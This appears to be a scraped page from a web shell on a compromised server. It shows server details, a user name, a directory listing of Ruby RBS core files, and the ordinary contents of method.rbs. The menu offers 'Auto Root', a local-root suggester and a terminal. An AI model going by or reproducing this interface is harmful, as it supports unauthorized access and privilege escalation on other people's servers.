Linux server1.dn-server.com 4.18.0-553.89.1.lve.el8.x86_64 #1 SMP Wed Dec 10 13:58:50 UTC 2025 x86_64
LiteSpeed
Server IP : 195.201.204.189 & Your IP : 216.73.216.222
Domains :
Cant Read [ /etc/named.conf ]
User : beriska1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby30 /
share /
gems /
gems /
rbs-1.4.0 /
core /
Delete
Unzip
Name
Size
Permission
Date
Action
array.rbs
72.72
KB
-rw-r--r--
2024-06-26 17:25
basic_object.rbs
9.61
KB
-rw-r--r--
2024-06-26 17:25
binding.rbs
5.31
KB
-rw-r--r--
2024-06-26 17:25
builtin.rbs
1.36
KB
-rw-r--r--
2024-06-26 17:25
class.rbs
4.43
KB
-rw-r--r--
2024-06-26 17:25
comparable.rbs
4.07
KB
-rw-r--r--
2024-06-26 17:25
complex.rbs
10.87
KB
-rw-r--r--
2024-06-26 17:25
constants.rbs
434
B
-rw-r--r--
2024-06-26 17:25
deprecated.rbs
54
B
-rw-r--r--
2024-06-26 17:25
dir.rbs
13.67
KB
-rw-r--r--
2024-06-26 17:25
encoding.rbs
11.92
KB
-rw-r--r--
2024-06-26 17:25
enumerable.rbs
16.88
KB
-rw-r--r--
2024-06-26 17:25
enumerator.rbs
6.76
KB
-rw-r--r--
2024-06-26 17:25
errno.rbs
12.63
KB
-rw-r--r--
2024-06-26 17:25
errors.rbs
14.09
KB
-rw-r--r--
2024-06-26 17:25
exception.rbs
6.38
KB
-rw-r--r--
2024-06-26 17:25
false_class.rbs
1.13
KB
-rw-r--r--
2024-06-26 17:25
fiber.rbs
1.96
KB
-rw-r--r--
2024-06-26 17:25
fiber_error.rbs
396
B
-rw-r--r--
2024-06-26 17:25
file.rbs
39.26
KB
-rw-r--r--
2024-06-26 17:25
file_test.rbs
1.73
KB
-rw-r--r--
2024-06-26 17:25
float.rbs
20.23
KB
-rw-r--r--
2024-06-26 17:25
gc.rbs
7.43
KB
-rw-r--r--
2024-06-26 17:25
global_variables.rbs
5.54
KB
-rw-r--r--
2024-06-26 17:25
hash.rbs
34.25
KB
-rw-r--r--
2024-06-26 17:25
integer.rbs
20.19
KB
-rw-r--r--
2024-06-26 17:25
io.rbs
28.67
KB
-rw-r--r--
2024-06-26 17:25
kernel.rbs
18.63
KB
-rw-r--r--
2024-06-26 17:25
marshal.rbs
5.67
KB
-rw-r--r--
2024-06-26 17:25
match_data.rbs
8.84
KB
-rw-r--r--
2024-06-26 17:25
math.rbs
9.84
KB
-rw-r--r--
2024-06-26 17:25
method.rbs
5.13
KB
-rw-r--r--
2024-06-26 17:25
module.rbs
37.44
KB
-rw-r--r--
2024-06-26 17:25
nil_class.rbs
1.73
KB
-rw-r--r--
2024-06-26 17:25
numeric.rbs
11.97
KB
-rw-r--r--
2024-06-26 17:25
object.rbs
26.33
KB
-rw-r--r--
2024-06-26 17:25
object_space.rbs
3.41
KB
-rw-r--r--
2024-06-26 17:25
proc.rbs
12.6
KB
-rw-r--r--
2024-06-26 17:25
process.rbs
40.72
KB
-rw-r--r--
2024-06-26 17:25
random.rbs
9.76
KB
-rw-r--r--
2024-06-26 17:25
range.rbs
6.76
KB
-rw-r--r--
2024-06-26 17:25
rational.rbs
12.76
KB
-rw-r--r--
2024-06-26 17:25
rb_config.rbs
1.66
KB
-rw-r--r--
2024-06-26 17:25
regexp.rbs
40.9
KB
-rw-r--r--
2024-06-26 17:25
ruby_vm.rbs
384
B
-rw-r--r--
2024-06-26 17:25
signal.rbs
1.81
KB
-rw-r--r--
2024-06-26 17:25
string.rbs
77.23
KB
-rw-r--r--
2024-06-26 17:25
string_io.rbs
8.02
KB
-rw-r--r--
2024-06-26 17:25
struct.rbs
1.27
KB
-rw-r--r--
2024-06-26 17:25
symbol.rbs
6.99
KB
-rw-r--r--
2024-06-26 17:25
thread.rbs
34.52
KB
-rw-r--r--
2024-06-26 17:25
thread_group.rbs
730
B
-rw-r--r--
2024-06-26 17:25
time.rbs
40.98
KB
-rw-r--r--
2024-06-26 17:25
trace_point.rbs
7.45
KB
-rw-r--r--
2024-06-26 17:25
true_class.rbs
1.19
KB
-rw-r--r--
2024-06-26 17:25
unbound_method.rbs
5.22
KB
-rw-r--r--
2024-06-26 17:25
warning.rbs
835
B
-rw-r--r--
2024-06-26 17:25
Save
Rename
class Method < Object # Returns a `Proc` object corresponding to this method. def to_proc: () -> Proc # Invokes the *meth* with the specified arguments, returning the method’s # return value. # # ```ruby # m = 12.method("+") # m.call(3) #=> 15 # m.call(20) #=> 32 # ``` def call: (*untyped args) -> untyped # Returns a proc that is the composition of this method and the given *g* # . The returned proc takes a variable number of arguments, calls *g* with # them then calls this method with the result. # # ```ruby # def f(x) # x * x # end # # f = self.method(:f) # g = proc {|x| x + x } # p (f << g).call(2) #=> 16 # ``` def <<: (Proc g) -> Proc # Invokes the method with `obj` as the parameter like # [call](Method.downloaded.ruby_doc#method-i-call). This allows a method # object to be the target of a `when` clause in a case statement. # # ```ruby # require 'prime' # # case 1373 # when Prime.method(:prime?) # # ... # end # ``` alias === call # Returns a proc that is the composition of this method and the given *g* # . The returned proc takes a variable number of arguments, calls *g* with # them then calls this method with the result. # # ```ruby # def f(x) # x * x # end # # f = self.method(:f) # g = proc {|x| x + x } # p (f >> g).call(2) #=> 8 # ``` def >>: (Proc g) -> Proc # Invokes the *meth* with the specified arguments, returning the method’s # return value. # # ```ruby # m = 12.method("+") # m.call(3) #=> 15 # m.call(20) #=> 32 # ``` alias [] call # Returns an indication of the number of arguments accepted by a method. # Returns a nonnegative integer for methods that take a fixed number of # arguments. For Ruby methods that take a variable number of arguments, # returns -n-1, where n is the number of required arguments. Keyword # arguments will be considered as a single additional argument, that # argument being mandatory if any keyword argument is mandatory. For # methods written in C, returns -1 if the call takes a variable number of # arguments. # # class C # def one; end # def two(a); end # def three(*a); end # def four(a, b); end # def five(a, b, *c); end # def six(a, b, *c, &d); end # def seven(a, b, x:0); end # def eight(x:, y:); end # def nine(x:, y:, **z); end # def ten(*a, x:, y:); end # end # c = C.new # c.method(:one).arity #=> 0 # c.method(:two).arity #=> 1 # c.method(:three).arity #=> -1 # c.method(:four).arity #=> 2 # c.method(:five).arity #=> -3 # c.method(:six).arity #=> -3 # c.method(:seven).arity #=> -3 # c.method(:eight).arity #=> 1 # c.method(:nine).arity #=> 1 # c.method(:ten).arity #=> -2 # # "cat".method(:size).arity #=> 0 # "cat".method(:replace).arity #=> 1 # "cat".method(:squeeze).arity #=> -1 # "cat".method(:count).arity #=> -1 def arity: () -> Integer # Returns a clone of this method. # # ```ruby # class A # def foo # return "bar" # end # end # # m = A.new.method(:foo) # m.call # => "bar" # n = m.clone.call # => "bar" # ``` def clone: () -> Method def curry: (?Integer arity) -> Proc # Returns the name of the method. def name: () -> Symbol # Returns the original name of the method. # # ```ruby # class C # def foo; end # alias bar foo # end # C.instance_method(:bar).original_name # => :foo # ``` def original_name: () -> Symbol # Returns the class or module that defines the method. See also receiver. # # ```ruby # (1..3).method(:map).owner #=> Enumerable # ``` def owner: () -> (Class | Module) # Returns the parameter information of this method. # # ```ruby # def foo(bar); end # method(:foo).parameters #=> [[:req, :bar]] # # def foo(bar, baz, bat, &blk); end # method(:foo).parameters #=> [[:req, :bar], [:req, :baz], [:req, :bat], [:block, :blk]] # # def foo(bar, *args); end # method(:foo).parameters #=> [[:req, :bar], [:rest, :args]] # # def foo(bar, baz, *args, &blk); end # method(:foo).parameters #=> [[:req, :bar], [:req, :baz], [:rest, :args], [:block, :blk]] # ``` def parameters: () -> ::Array[ [:req | :opt | :rest | :keyreq | :key | :keyrest | :block, Symbol] | [:rest | :keyrest] ] # Returns the bound receiver of the method object. # # ```ruby # (1..3).method(:map).receiver # => 1..3 # ``` def receiver: () -> untyped # Returns the Ruby source filename and line number containing this method # or nil if this method was not defined in Ruby (i.e. native). def source_location: () -> [String, Integer]? # Returns a [Method](Method.downloaded.ruby_doc) of superclass which would # be called when super is used or nil if there is no method on superclass. def super_method: () -> Method? # Dissociates *meth* from its current receiver. The resulting # `UnboundMethod` can subsequently be bound to a new object of the same # class (see `UnboundMethod` ). def unbind: () -> UnboundMethod end